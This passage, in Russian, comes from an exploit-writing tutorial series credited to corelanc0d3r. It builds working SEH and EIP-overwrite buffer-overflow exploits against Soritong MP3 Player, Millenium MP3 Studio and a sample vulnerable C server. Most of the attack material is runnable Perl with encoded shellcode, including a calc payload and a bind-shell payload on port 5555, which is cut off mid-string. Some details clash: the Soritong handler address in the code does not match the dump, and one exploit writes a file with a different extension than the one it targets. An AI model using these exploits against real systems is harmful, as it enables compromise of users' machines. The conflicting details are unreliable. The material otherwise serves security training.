Обработчик содержит `0x41367441`, то есть байты little-endian `41 74 36 41`, или `At6A`. Смещение в циклическом шаблоне равно 588.

Следовательно:

• SEH начинается со смещения 588.
• nSEH начинается со смещения 584.
• Шелл-код начинается через восемь байт после nSEH, в данном запуске по адресу `0x0012fd6c`.

Поле nSEH должно перепрыгнуть через четырёхбайтовый обработчик. Короткий переход на шесть байт кодируется как `EB 06`; две инструкции NOP заполняют четырёхбайтовое поле:

```
nseh = b"\xeb\x06\x90\x90"
```

Как работает pop pop ret

Диспетчер исключений создаёт собственный кадр стека. При вызове обработчика `EstablisherFrame`, указывающий на регистрационную запись исключения, доступен по `ESP+8`.

• Первая POP удаляет четыре байта.
• Вторая POP удаляет ещё четыре байта.
• RET берёт оказавшийся на вершине стека адрес регистрационной записи и помещает его в EIP.

Поскольку nSEH содержит инструкции, а не адрес, процессор выполняет короткий переход.

Создание эксплойта

Soritong загружает DLL приложения `Player.dll` по адресу `0x10000000`. Найдите в нём последовательность `pop pop ret`, адрес которой не содержит недопустимых байтов:

```
C:\Program Files\SoriTong> findjmp.exe Player.dll edi
0x100104F8  pop edi - pop - retbis
0x100106FB  pop edi - pop - ret
0x10010CAB  pop edi - pop - ret
0x10018DE8  pop edi - pop - ret
0x1001E812  pop edi - pop - ret
```

Окончательный эксплойт использует адрес `0x1001E812` из `Player.dll`. Перед применением проверьте последовательность инструкций. Структура:

```
[584 bytes][EB 06 90 90][12 E8 01 10][shellcode][padding]
    junk        nSEH          SEH
```

Сначала замените nSEH четырьмя точками останова и используйте узнаваемые данные шелл-кода. Передайте исходное исключение приложению. Выполнение должно остановиться на nSEH:

```
0:000> g
Break instruction exception - code 80000003
eip=0012fd64
0012fd64 cc  int 3

0:000> d eip
0012fd64  cc cc cc cc 12 e8 01 10-31 41 42 43 44 45 46 47
0012fd74  48 49 4a 4b 4c 4d 32 41-42 43 44 45 46 47 48 49
```

Это подтверждает, что данные полезной нагрузки начинаются ровно через восемь байт после nSEH.

Окончательный Perl-эксплойт:

```
# Soritong MP3 Player 1.0 SEH exploit.

my $junk = "A" x 584;
my $nextSEHoverwrite = "\xeb\x06\x90\x90";
my $SEHoverwrite = pack('V', 0x1001E812);

# Full windows/exec payload, x86/alpha_upper encoded,
# EXITFUNC=seh, CMD=calc.
my $shellcode =
"\x89\xe3\xdb\xc2\xd9\x73\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58" .
"\x51\x54\x43\x30\x45\x50\x45\x50\x4c\x4b\x47\x35\x47\x4c" .
"\x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a\x4f\x4c\x4b" .
"\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b" .
"\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31" .
"\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x44\x34\x45\x57" .
"\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44" .
"\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4a\x45\x4c\x4b" .
"\x51\x4f\x46\x44\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c" .
"\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b" .
"\x45\x4c\x4c\x4b\x43\x31\x4a\x4b\x4d\x59\x51\x4c\x46\x44" .
"\x43\x34\x49\x53\x51\x4f\x46\x51\x4b\x46\x43\x50\x46\x36" .
"\x45\x34\x4c\x4b\x50\x46\x50\x30\x4c\x4b\x51\x50\x44\x4c" .
"\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x42\x48\x43\x38" .
"\x4b\x39\x4a\x58\x4d\x53\x49\x50\x43\x5a\x50\x50\x43\x58" .
"\x4c\x30\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b\x4e" .
"\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x43\x53\x43\x51" .
"\x42\x4c\x43\x53\x43\x30\x41\x41";
my $junk2 = "\x90" x 1000;

open(myfile, ">ui.txt");
print myfile $junk.$nextSEHoverwrite.$SEHoverwrite.$shellcode.$junk2;
close(myfile);
```

Запустите Soritong вне отладчика:

В WinDBG окончательная структура памяти показывает последние байты `A`, nSEH, указатель обработчика в порядке little-endian и шелл-код:

```
0:000> d 0012fd60
0012fd60  41 41 41 41 eb 06 90 90-e8 8d 01 10 cc eb 03 59
```

- `41 41 41 41`: конец мусорного буфера.
- `EB 06 90 90`: короткий переход nSEH.
- `E8 8D 01 10`: адрес `0x10018DE8` в порядке little-endian в показанном запуске.
- `CC EB 03 59`: начало шелл-кода с отладочной точкой останова.

Поиск pop pop ret с помощью memdump

`memdump.exe` из Metasploit предлагает ещё один способ поиска во всех загруженных сегментах процесса. Запустите целевое приложение вне отладчика, определите его PID, создайте выходной каталог и выполните дамп:

```
memdump.exe 3524 C:\cygwin\home\peter\memdump
[*] Creating dump directory...
[*] Attaching to 3524...
[*] Dumping segments...
[*] Dump completed successfully, 112 segments.
```

Просканируйте дамп на последовательности `pop pop ret`:

```
./msfpescan -p -M /home/peter/memdump > /home/peter/scanresults.txt
```

Выберите адрес без недопустимых байтов из модуля, не защищённого SafeSEH. Дамп и сканирование всей памяти избавляют от необходимости вручную составлять каждую комбинацию опкодов.

Ресурсы по отладчикам

- OllyDbg
- OllySSEH
- Плагины OllyDbg
- WinDBG
- MSEC `!exploitable`

Учебное руководство по написанию эксплойтов, часть 3b: эксплойты на основе SEH — ещё один пример

corelanc0d3r, 2009-07-28

В предыдущем руководстве я объяснил основы эксплойтов на основе SEH. В простейшем случае полезная нагрузка имеет следующую структуру:

```
[Junk][next SEH][SEH][Shellcode]
```

SEH перезаписывается указателем на `pop pop ret`, а next SEH содержит код перехода через запись SEH. Такая структура соответствует поведению многих уязвимостей SEH, включая уязвимость Easy RM to MP3 Player из предыдущей статьи, но это лишь пример. Необходимо изучить все регистры, использовать точки останова, выяснить расположение полезной нагрузки или шелл-кода, исследовать стек и соответствующим образом построить полезную нагрузку. Проявляйте изобретательность.

Иногда полезную нагрузку можно создать почти вслепую. Порой сложную уязвимость всё же удаётся превратить в стабильный эксплойт для нескольких версий операционной системы. В других случаях единственным вариантом могут оказаться жёстко заданные адреса. Все эксплойты выглядят по-разному: каждый создаётся вручную с учётом свойств конкретной уязвимости и доступных способов эксплуатации.

В этом руководстве создаётся эксплойт для уязвимости Millenium MP3 Studio 1.0, о которой первоначально сообщалось в эксплойте Milw0rm 9277. Исходная демонстрация концепции предполагала, что проблему легко эксплуатировать, вероятно исходя из значений регистров, однако её автор не создал рабочего эксплойта.

Судя по показанным регистрам, это может выглядеть как обычное переполнение стека: найдите смещение EIP, определите местоположение полезной нагрузки через регистр и перезапишите EIP подходящим переходом. Но всё не так просто.

Создайте файл MPF, содержащий `http://`, за которым следуют 5000 символов `A`:

```
my $sploitfile = "c0d3r.mpf";
my $junk = "http://";
$junk .= "A" x 5000;
my $payload = $junk;

print " [+] Writing exploit file $sploitfile\n";
open(myfile, ">$sploitfile");
print myfile $payload;
close(myfile);
print " [+] File written\n";
print " [+] " . length($payload) . " bytes\n";
```

Откройте исполняемый файл MP3 Studio в WinDBG, запустите его и загрузите созданный файл:

```
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012f9b8 ebx=0012f9b8 ecx=00000000 edx=41414141 esi=0012e990 edi=00faa68c
eip=00403734 esp=0012e97c ebp=0012f9c0 iopl=0
nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** WARNING: Unable to verify checksum for image00400000
*** ERROR: Module load completed but symbols could not be loaded for image00400000
image00400000+0x3734:
00403734 8b4af8 mov ecx,dword ptr [edx-8] ds:0023:41414139=????????
Missing image name, possible paged-out or corrupt data.
```

Нарушение доступа не похоже на состояние регистров из PoC. Либо длина буфера неверна для прямой перезаписи EIP, либо это уязвимость на основе SEH. Изучим цепочку SEH:

```
0:000> !exchain
0012f9a0: <Unloaded_ud.drv>+41414140 (41414141)
Invalid exception stack at 41414141
```

Перезаписаны и обработчик исключения, и next SEH, что подтверждает переполнение на основе SEH.

Создайте ещё один файл с 5000-символьным шаблоном Metasploit. Теперь цепочка SEH выглядит так:

```
0:000> !exchain
0012f9a0: <Unloaded_ud.drv>+30684638 (30684639)
Invalid exception stack at 67463867
```

Обработчик SE содержит `0x39466830`, а next SEH — `0x67463867`, интерпретируемые в порядке little-endian:

• Обработчик SE: `0x39466830`, или `9Fh0`, находится на смещении шаблона 4109.
• Next SEH: `0x67463867`, или `g8Fg`, находится на смещении шаблона 4105.

Обычная полезная нагрузка SEH должна содержать:

1. 4105 мусорных символов. Удалите две проблемные обратные косые черты после `http:` и добавьте достаточно символов `A`, чтобы сохранить четырёхбайтовое выравнивание.
2. Значение next SEH `\xeb\x06\x90\x90`, выполняющее переход через обработчик SE.
3. Обработчик SE, содержащий указатель `pop pop ret`.
4. Шелл-код, при необходимости окружённый NOP, и заполнение.

Сначала используйте легко узнаваемые значения-заполнители, чтобы проверить смещения:

```
my $totalsize = 5005;
my $sploitfile = "c0d3r.mpf";
my $junk = "http:AA";
$junk .= "A" x 4105;
my $nseh = "BBBB";
my $seh = "CCCC";
my $shellcode = "D" x ($totalsize - length($junk.$nseh.$seh));
my $payload = $junk.$nseh.$seh.$shellcode;

print " [+] Writing exploit file $sploitfile\n";
open(myfile, ">$sploitfile");
print myfile $payload;
close(myfile);
print " [+] File written\n";
print " [+] " . length($payload) . " bytes\n";
```

Сбой подтверждает структуру:

```
(ac0.ec0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

eax=0012fba4 ebx=0012fba4 ecx=00000000 edx=44444444 esi=0012eb7c edi=00fb1c84
eip=00403734 esp=0012eb68 ebp=0012fbac iopl=0
nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
00403734 8b4af8 mov ecx,dword ptr [edx-8] ds:0023:4444443c=????????

0:000> !exchain
0012fb8c: <Unloaded_ud.drv>+43434342 (43434343)
Invalid exception stack at 42424242
```

Как и ожидалось, обработчик равен `0x43434343` (`CCCC`), а next SEH — `0x42424242` (`BBBB`).

Замените обработчик указателем pop pop ret, а next SEH — четырьмя точками останова. Код перехода пока не нужен, потому что сейчас требуется определить местоположение полезной нагрузки. xaudio.dll, одна из DLL приложения, не защищена SafeSEH и содержит несколько подходящих последовательностей. Используем последовательность по адресу 0x1002083D:

```
my $totalsize = 5005;
my $sploitfile = "c0d3r.mpf";
my $junk = "http:AA";
$junk .= "A" x 4105;
my $nseh = "\xcc\xcc\xcc\xcc";  # Breakpoints.
my $seh = pack('V', 0x1002083D);
my $shellcode = "D" x ($totalsize - length($junk.$nseh.$seh));
my $payload = $junk.$nseh.$seh.$shellcode;

print " [+] Writing exploit file $sploitfile\n";
open(myfile, ">$sploitfile");
print myfile $payload;
close(myfile);
print " [+] File written\n";
print " [+] " . length($payload) . " bytes\n";
```

Передайте первое нарушение доступа обратно приложению. Выполнится последовательность pop pop ret, и управление достигнет точек останова в next SEH. Если полезная нагрузка следует за SEH, EIP указывает на next SEH, а дамп должен показать next SEH, указатель SEH и затем шелл-код:

```
0:000> d eip
0012f9a0  cc cc cc cc 3d 08 02 10-44 44 44 44 44 44 44 44  ....=...DDDDDDDD
0012f9b0  44 44 44 44 44 44 44 44-00 00 00 00 44 44 44 44  DDDDDDDD....DDDD
0012f9c0  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
0012f9d0  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
```

Результат обнадёживает, но примерно в 32 байтах после SEH встречаются четыре нулевых байта. Можно перепрыгнуть через SEH, а затем использовать следующие байты для второго перехода либо перейти непосредственно из next SEH к шелл-коду.

Замените первые символы D узнаваемыми данными, чтобы подтвердить структуру:

```
my $totalsize = 5005;
my $sploitfile = "c0d3r.mpf";
my $junk = "http:AA";
$junk .= "A" x 4105;
my $nseh = "\xcc\xcc\xcc\xcc";
my $seh = pack('V', 0x1002083D);
my $shellcode = "A123456789B123456789C123456789D123456789";
my $junk2 = "D" x ($totalsize - length($junk.$nseh.$seh.$shellcode));
my $payload = $junk.$nseh.$seh.$shellcode.$junk2;

open(myfile, ">$sploitfile");
print myfile $payload;
close(myfile);

(b60.cc0): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=0012e694 ecx=1002083d edx=7c9032bc esi=7c9032a8 edi=00000000
eip=0012f9a0 esp=0012e5b8 ebp=0012e5cc iopl=0
0012f9a0 cc int 3

0:000> d eip
0012f9a0  cc cc cc cc 3d 08 02 10-41 31 32 33 34 35 36 37  ....=...A1234567
0012f9b0  38 39 42 31 32 33 34 35-00 00 00 00 43 31 32 33  89B12345....C123
0012f9c0  34 35 36 37 38 39 44 31-32 33 34 35 36 37 38 39  456789D123456789
0012f9d0  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
```

Дамп подтверждает, что это начало шелл-кода и после первых байтов имеется небольшой разрыв. Чтобы начать настоящий шелл-код по адресу 0x0012f9c0, поместите после SEH 24 инструкции NOP и выполните из next SEH переход на 30 байт с помощью \xeb\x1e:

```
my $totalsize = 5005;
```

```
my $sploitfile = "c0d3r.mpf";
my $junk = "http:AA";
$junk .= "A" x 4105;
my $nseh = "\xeb\x1e\x90\x90";  # Jump 30 bytes.
my $seh = pack('V', 0x1002083D);
my $nops = "\x90" x 24;
my $shellcode = "\xcc\xcc\xcc\xcc";
my $junk2 = "D" x ($totalsize - length($junk.$nseh.$seh.$nops.$shellcode));
my $payload = $junk.$nseh.$seh.$nops.$shellcode.$junk2;

open(myfile, ">$sploitfile");
print myfile $payload;
close(myfile);
```

После передачи первого исключения приложению выполнение останавливается на точке останова по адресу `0x0012f9c0`:

```
(1a4.9d4): Access violation - code c0000005 (first chance)
eax=0012f9b8 ebx=0012f9b8 ecx=00000000 edx=90909090 esi=0012e990 edi=00fabf9c
eip=00403734 esp=0012e97c ebp=0012f9c0 iopl=0
00403734 8b4af8 mov ecx,dword ptr [edx-8] ds:0023:90909088=????????

0:000> g
(1a4.9d4): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=0012e694 ecx=1002083d edx=7c9032bc esi=7c9032a8 edi=00000000
eip=0012f9c0 esp=0012e5b8 ebp=0012e5cc iopl=0
0012f9c0 cc int 3
```

Замените байты точек останова настоящим шелл-кодом. В окончательном эксплойте используется 303-байтовая полезная нагрузка `windows/exec`, закодированная `x86/alpha_upper`, с `EXITFUNC=seh` и `CMD=calc`:

```
# Millenium MP3 Studio 1.0 .mpf local stack overflow exploit (SEH)
# Tested on Windows XP SP3 English.

my $totalsize = 5005;
my $sploitfile = "c0d3r.m3u";
my $junk = "http:AA";
$junk .= "A" x 4105;
my $nseh = "\xeb\x1e\x90\x90";       # Jump 30 bytes.
my $seh = pack('V', 0x1002083D);       # pop pop ret in xaudio.dll.
my $nops = "\x90" x 24;

# Full windows/exec payload, x86/alpha_upper, EXITFUNC=seh, CMD=calc.
my $shellcode =
"\x89\xe3\xdb\xc2\xd9\x73\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58" .
"\x51\x54\x43\x30\x45\x50\x45\x50\x4c\x4b\x47\x35\x47\x4c" .
"\x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a\x4f\x4c\x4b" .
"\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b" .
"\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31" .
"\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x44\x34\x45\x57" .
"\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44" .
"\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4a\x45\x4c\x4b" .
"\x51\x4f\x46\x44\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c" .
"\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b" .
"\x45\x4c\x4c\x4b\x43\x31\x4a\x4b\x4d\x59\x51\x4c\x46\x44" .
"\x43\x34\x49\x53\x51\x4f\x46\x51\x4b\x46\x43\x50\x46\x36" .
"\x45\x34\x4c\x4b\x50\x46\x50\x30\x4c\x4b\x51\x50\x44\x4c" .
"\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x42\x48\x43\x38" .
"\x4b\x39\x4a\x58\x4d\x53\x49\x50\x43\x5a\x50\x50\x43\x58" .
"\x4c\x30\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b\x4e" .
"\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x43\x53\x43\x51" .
"\x42\x4c\x43\x53\x43\x30\x41\x41";

my $junk2 = "D" x ($totalsize - length($junk.$nseh.$seh.$nops.$shellcode));
my $payload = $junk.$nseh.$seh.$nops.$shellcode.$junk2;
```

```
print " [+] Writing exploit file $sploitfile\n";
open(myfile, ">$sploitfile");
print myfile $payload;
close(myfile);
print " [+] File written\n";
print " [+] " . length($payload) . " bytes\n";
```

Готово. Эксплойт был опубликован под названием Millenium MP3 Studio 1.0 .mpf File Local Stack Overflow Exploit #2.

Упражнение

Создайте рабочий эксплойт для файлов M3U и найдите способ использовать прямую перезапись EIP вместо SEH.

Шелл-код необязательно должен следовать за next SEH и SEH. Его также можно разместить в первой части полезной нагрузки. Иногда приходится использовать небольшой буфер для кода перехода, передающего выполнение настоящему шелл-коду, либо жёстко задавать адрес, когда другие методы не работают.

SEH-эксплойт для файлов M3U почти идентичен версии MPF и здесь не рассматривается.

Обновление: пользователь блога и форума по имени `mancu37` опубликовал альтернативный эксплойт на основе прямой перезаписи RET.

Следите за новыми материалами, советами и приёмами по написанию эксплойтов.

Учебное руководство по написанию эксплойтов, часть 4: от эксплойта к Metasploit — основы

corelanc0d3r, 2009-08-12

В первых частях руководства я рассматривал распространённые уязвимости, приводящие к двум видам эксплойтов: стековым переполнениям с прямой перезаписью EIP и стековым переполнениям, использующим цепочки SEH. В примерах рабочие эксплойты создавались на Perl.

Но эксплойты можно писать почти на любом языке: Python, C, C++, C# и других. Выбирайте наиболее знакомый.

Хотя собственные эксплойты прекрасно работают, иногда полезно включить их в Metasploit Framework и воспользоваться его уникальными возможностями. Сегодня я объясню, как оформить эксплойт как модуль Metasploit.

Модули Metasploit пишутся на Ruby. Даже без глубокого знания Ruby вы сможете создать модуль по этому руководству и существующим эксплойтам Metasploit.

Структура модуля эксплойта Metasploit

Типичный модуль состоит из:

• Заголовка и зависимостей:
• Комментариев о модуле.
• `require 'msf/core'`.
• Определения класса.
• Подключаемых компонентов.
• Определений методов:
• `initialize`.
• `check` — необязательно.
• `exploit`.

Комментарии начинаются с #. Пока этого достаточно; перейдём к созданию модуля эксплойта.

Практический пример: эксплойт для простого уязвимого сервера

Используем следующий уязвимый сервер на C:

```
#include <iostream.h>
#include <winsock.h>
#include <windows.h>

// Load Windows sockets.
#pragma comment(lib, "wsock32.lib")

#define SS_ERROR 1
#define SS_OK 0

void pr(char *str)
{
   char buf[500] = "";
   strcpy(buf, str);
```

```
}

void sError(char *str)
{
   MessageBox(NULL, str, "socket Error", MB_OK);
   WSACleanup();
}

int main(int argc, char **argv)
{
   WORD sockVersion;
   WSADATA wsaData;
   int rVal;
   char Message[5000] = "";
   char buf[2000] = "";

   u_short LocalPort;
   LocalPort = 200;

   // Initialize wsock32.
   sockVersion = MAKEWORD(1,1);
   WSAStartup(sockVersion, &wsaData);

   SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0);
   if (serverSocket == INVALID_SOCKET)
   {
      sError("Failed socket()");
      return SS_ERROR;
   }

   SOCKADDR_IN sin;
   sin.sin_family = PF_INET;
   sin.sin_port = htons(LocalPort);
   sin.sin_addr.s_addr = INADDR_ANY;

   rVal = bind(serverSocket, (LPSOCKADDR)&sin, sizeof(sin));
   if (rVal == SOCKET_ERROR)
   {
      sError("Failed bind()");
      WSACleanup();
      return SS_ERROR;
   }

   rVal = listen(serverSocket, 10);
   if (rVal == SOCKET_ERROR)
   {
      sError("Failed listen()");
      WSACleanup();
      return SS_ERROR;
   }

   SOCKET clientSocket;
   clientSocket = accept(serverSocket, NULL, NULL);
   if (clientSocket == INVALID_SOCKET)
   {
      sError("Failed accept()");
      WSACleanup();
      return SS_ERROR;
   }

   int bytesRecv = SOCKET_ERROR;
   while (bytesRecv == SOCKET_ERROR)
   {
      // Receive up to 5,000 bytes from the client.
      bytesRecv = recv(clientSocket, Message, 5000, 0);
      if (bytesRecv == 0 || bytesRecv == WSAECONNRESET)
      {
         printf("\nConnection Closed.\n");
         break;
      }
   }
```

```
    // Pass the received data to the vulnerable function.
    pr(Message);

    closesocket(clientSocket);
    closesocket(serverSocket);
    WSACleanup();
    return SS_OK;
}
```

Скомпилируйте код и запустите в Windows Server 2003 R2 SP2. Я использовал `lcc-win32`. Отправка 1000 байт вызывает сбой. Следующий сценарий Perl демонстрирует его:

```
use strict;
use Socket;
my $junk = "\x41" x 1000;

my $host = shift || 'localhost';
my $port = shift || 200;
my $proto = getprotobyname('tcp');
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);

print "[+] Setting up socket\n";
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";

print "[+] Sending payload\n";
print SOCKET $junk."\n";
print "[+] Payload sent\n";
close SOCKET or die "close: $!";
```

Уязвимый сервер завершается, а EIP перезаписывается символами `A`:

```
0:001> g
(e00.de0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012e05c ebx=7ffd6000 ecx=00000000 edx=0012e446 esi=0040bdec edi=0012ebe0
eip=41414141 esp=0012e258 ebp=41414141 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
41414141 ??              ???
```

По шаблону Metasploit определяем, что EIP перезаписывается со смещения 504. Создадим новый сценарий для проверки смещения и регистров:

```
use strict;
use Socket;

my $totalbuffer = 1000;
my $junk = "\x41" x 504;
my $eipoverwrite = "\x42" x 4;
my $junk2 = "\x43" x ($totalbuffer - length($junk.$eipoverwrite));

my $host = shift || 'localhost';
my $port = shift || 200;
my $proto = getprotobyname('tcp');
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);

print "[+] Setting up socket\n";
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";

print "[+] Sending payload\n";
print SOCKET $junk.$eipoverwrite.$junk2."\n";
print "[+] Payload sent\n";
close SOCKET or die "close: $!";
```

После 504 символов `A`, четырёх `B` и последовательности `C` регистры и стек выглядят так:

```
0:001> g
(ed0.eb0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012e05c ebx=7ffde000 ecx=00000000 edx=0012e446 esi=0040bdec edi=0012ebe0
eip=42424242 esp=0012e258 ebp=41414141 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
42424242 ??              ???
0:000> d esp
0012e258  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012e268  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012e278  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012e288  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012e298  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012e2a8  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012e2b8  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012e2c8  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
```

Увеличьте мусорные данные, чтобы определить место для шелл-кода, которое нужно указать в модуле. При `$totalbuffer = 2000` переполнение работает, а ESP содержит `C` до `esp+5d3`, то есть доступно около 1491 байта.

Нужно лишь перезаписать EIP инструкцией `jmp esp`, `call esp` или аналогичной и заменить `C` шелл-кодом. `findjmp` находит подходящий адрес в Windows Server 2003 R2 SP2:

```
findjmp.exe ws2_32.dll esp
Reg: esp
Scanning ws2_32.dll for code usable with the esp register
0x71C02B67      push esp - ret
Finished Scanning ws2_32.dll for code usable with the esp register
Found 1 usable addresses
```

Проверка шелл-кода даёт ещё два вывода:

• Исключить `0xff` из шелл-кода.
• Разместить перед шелл-кодом цепочку NOP.

Окончательный Perl-эксплойт использует 702-байтовую нагрузку `windows/shell_bind_tcp`, созданную Metasploit с кодировщиком `x86/alpha_upper`, `EXITFUNC=seh` и `LPORT=5555`. Транспорт и создание буфера:

```
use strict;
use Socket;

my $junk = "\x90" x 504;

# push esp; ret from ws2_32.dll
my $eipoverwrite = pack('V', 0x71C02B67);

# The original exploit places 50 NOPs before its 702-byte
# windows/shell_bind_tcp, x86/alpha_upper encoded payload.
my $shellcode = "\x90" x 50;
$shellcode .=
"\x89\xe0\xd9\xd0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42\x4a" .
"\x4a\x4b\x50\x4d\x4d\x38\x4c\x39\x4b\x4f\x4b\x4f\x4b\x4f" .
"\x45\x30\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47\x35" .
"\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44\x38\x45\x51\x4a\x4f" .
"\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x43\x31" .
"\x4a\x4b\x47\x39\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e" .
"\x50\x31\x49\x50\x4a\x39\x4e\x4c\x4c\x44\x49\x50\x42\x54" .
"\x45\x57\x49\x51\x48\x4a\x44\x4d\x45\x51\x48\x42\x4a\x4b" .
"\x4c\x34\x47\x4b\x46\x34\x46\x44\x51\x38\x42\x55\x4a\x45" .
"\x4c\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x43\x56\x4c\x4b" .
"\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b" .
"\x44\x43\x46\x4c\x4c\x4b\x4b\x39\x42\x4c\x51\x34\x45\x4c" .
```

```
"\x45\x31\x49\x53\x46\x51\x49\x4b\x43\x54\x4c\x4b\x51\x53" .
"\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c" .
"\x4e\x4d\x4c\x4b\x51\x50\x44\x48\x51\x4e\x43\x58\x4c\x4e" .
"\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f\x4e\x36\x45\x36" .
"\x51\x43\x42\x46\x43\x58\x46\x53\x47\x42\x45\x38\x43\x47" .
"\x44\x33\x46\x52\x51\x4f\x46\x34\x4b\x4f\x48\x50\x42\x48" .
"\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x48\x56" .
"\x51\x4f\x4c\x49\x4d\x35\x43\x56\x4b\x31\x4a\x4d\x45\x58" .
"\x44\x42\x46\x35\x43\x5a\x43\x32\x4b\x4f\x4e\x30\x45\x38" .
"\x48\x59\x45\x59\x4a\x55\x4e\x4d\x51\x47\x4b\x4f\x48\x56" .
"\x51\x43\x50\x53\x50\x53\x46\x33\x46\x33\x51\x53\x50\x53" .
"\x47\x33\x46\x33\x4b\x4f\x4e\x30\x42\x46\x42\x48\x42\x35" .
"\x4e\x53\x45\x36\x50\x53\x4b\x39\x4b\x51\x4c\x55\x43\x58" .
"\x4e\x44\x45\x4a\x44\x30\x49\x57\x46\x37\x4b\x4f\x4e\x36" .
"\x42\x4a\x44\x50\x50\x51\x50\x55\x4b\x4f\x48\x50\x45\x38" .
"\x49\x34\x4e\x4d\x46\x4e\x4a\x49\x50\x57\x4b\x4f\x49\x46" .
